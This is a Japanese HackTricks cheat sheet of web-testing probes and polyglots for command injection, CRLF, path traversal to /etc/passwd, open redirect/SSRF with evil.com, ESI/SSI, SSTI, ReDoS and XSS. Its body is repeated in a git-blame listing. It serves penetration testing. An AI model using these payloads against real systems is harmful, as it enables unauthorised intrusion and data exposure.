hacktricks/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

# Reflecting Techniques - PoCs and Polygloths CheatSheet

{% hint style="success" %}
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**

</details>
{% endhint %}

これらのPoCとポリグロスの目的は、テスターに**応答に反映される可能性のある脆弱性の迅速な要約**を提供することです。

{% hint style="warning" %}
この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
{% endhint %}

{% hint style="danger" %}
**XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、バックエンドDB技術と構造に大きく依存するからです。
{% endhint %}

## ポリグロスリスト
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)

### 基本テスト
```
{{7*7}}
[7*7]
```
### ポリグロット
```bash
{{7*7}}[7*7]
```
## [コマンドインジェクション](../command-injection.md)

### 基本テスト
```bash
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)
```
### ポリグロット
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)

### 基本テスト
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## ダングリングマークアップ

### 基本テスト
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [ファイルインクルージョン/パストラバーサル](../file-inclusion/)

### 基本テスト
```bash
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)

### 基本テスト
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)

### 基本テスト
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md)

### 基本テスト
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### ポリグロス
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)

Open Redirectで使用されるのと同じテストがここでも使用できます。

## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)

### 基本テスト
```markup
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
```
### ポリグロット
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)

### 基本テスト
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### ポリグロス
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS

### 基本テスト
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### ポリグロス
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{% hint style="success" %}
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**

</details>
{% endhint %}
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								# Reflecting Techniques - PoCs and Polygloths CheatSheet
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								{% hint style="success" %}
 								AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								<details>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								<summary>HackTricksをサポートする</summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
 								* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
 								* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								{% endhint %}
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								これらのPoCとポリグロスの目的は、テスターに**応答に反映される可能性のある脆弱性の迅速な要約**を提供することです。
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-26 12:03:36 +00:00
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 12:11:00 +00:00
+								{% hint style="warning" %}
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 12:11:00 +00:00
+								{% endhint %}
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-26 12:03:36 +00:00
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 12:11:00 +00:00
+								{% hint style="danger" %}
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								**XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、バックエンドDB技術と構造に大きく依存するからです。
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 12:11:00 +00:00
+								{% endhint %}
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-26 12:03:36 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								## ポリグロスリスト
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 10:02:37 +00:00
+								```python
 								{{7*7}}[7*7]
 ;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 								/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
 								%0d%0aLocation:%20http://attacker.com
 								%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
 								%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 								%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-26 12:03:36 +00:00
+								<br><b><h1>THIS IS AND INJECTED TITLE </h1>
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 10:02:37 +00:00
+								/etc/passwd
 								../../../../../../etc/hosts
 								..\..\..\..\..\..\etc/hosts
 								/etc/hostname
 								../../../../../../etc/hosts
 								C:/windows/system32/drivers/etc/hosts
 								../../../../../../windows/system32/drivers/etc/hosts
 								..\..\..\..\..\..\windows/system32/drivers/etc/hosts
 								http://asdasdasdasd.burpcollab.com/mal.php
 								\\asdasdasdasd.burpcollab.com/mal.php
 								www.whitelisted.com
 								www.whitelisted.com.evil.com
 								https://google.com
 								//google.com
 								javascript:alert(1)
 								(\\w*)+$
 								([a-zA-Z]+)*$
 								((a+)+)+$
 								<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 								{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 								<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 								" onclick=alert() a="
 								'"><img src=x onerror=alert(1) />
 								javascript:alert()
 								javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 								-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 								">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 								" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 								';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### 基本テスト
-												GitBook: [#2777] gitbookissooooo slow I cannot write

											
										
										
											2021-10-18 11:21:18 +00:00
+								```
-												GitBook: [master] 3 pages modified
											
										
										
											2021-06-25 16:39:43 +00:00
+								{{7*7}}
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 16:50:01 +00:00
+								[7*7]
-												GitBook: [master] 3 pages modified
											
										
										
											2021-06-25 16:39:43 +00:00
+								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### ポリグロット
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
+								```bash
 								{{7*7}}[7*7]
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [コマンドインジェクション](../command-injection.md)
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								### 基本テスト
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
+								```bash
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 10:02:37 +00:00
+								;ls
 								||ls;
 								|ls;
 								&&ls;
 								&ls;
 								%0Als
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 16:50:01 +00:00
+								`ls`
 								$(ls)
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
+								```
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								### ポリグロット
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
+								```bash
 ;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 								/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 16:50:01 +00:00
+								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [CRLF](../crlf-0d-0a.md)
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### 基本テスト
-												GitBook: [master] 4 pages modified
											
										
										
											2021-06-25 17:01:56 +00:00
+								```bash
 								%0d%0aLocation:%20http://attacker.com
 								%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
 								%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 								%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## ダングリングマークアップ
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### 基本テスト
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
+								```markup
 								<br><b><h1>THIS IS AND INJECTED TITLE </h1>
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [ファイルインクルージョン/パストラバーサル](../file-inclusion/)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
+								```bash
 								/etc/passwd
 								../../../../../../etc/hosts
 								..\..\..\..\..\..\etc/hosts
 								/etc/hostname
 								../../../../../../etc/hosts
 								C:/windows/system32/drivers/etc/hosts
 								../../../../../../windows/system32/drivers/etc/hosts
 								..\..\..\..\..\..\windows/system32/drivers/etc/hosts
 								http://asdasdasdasd.burpcollab.com/mal.php
 								\\asdasdasdasd.burpcollab.com/mal.php
 								```
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
+								```bash
 								www.whitelisted.com
 								www.whitelisted.com.evil.com
 								https://google.com
 								//google.com
 								javascript:alert(1)
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [ReDoS](../regular-expression-denial-of-service-redos.md)
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
+								```bash
 								(\\w*)+$
 								([a-zA-Z]+)*$
 								((a+)+)+$
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
+								```markup
 								<!--#echo var="DATE_LOCAL" -->
 								<!--#exec cmd="ls" -->
 								<esi:include src=http://attacker.com/>
-												GitBook: [master] 489 pages modified
											
										
										
											2021-06-25 19:23:35 +00:00
+								x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 19:22:16 +00:00
+								```
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### ポリグロス
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
+								```markup
 								<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 								```
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								Open Redirectで使用されるのと同じテストがここでも使用できます。
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
+								```markup
 								${{<%[%'"}}%\
 								{{7*7}}
 								${7*7}
 								<%= 7*7 %>
 								${{7*7}}
 								#{7*7}
 								```
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								### ポリグロット
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
+								```python
 								{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 								```
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
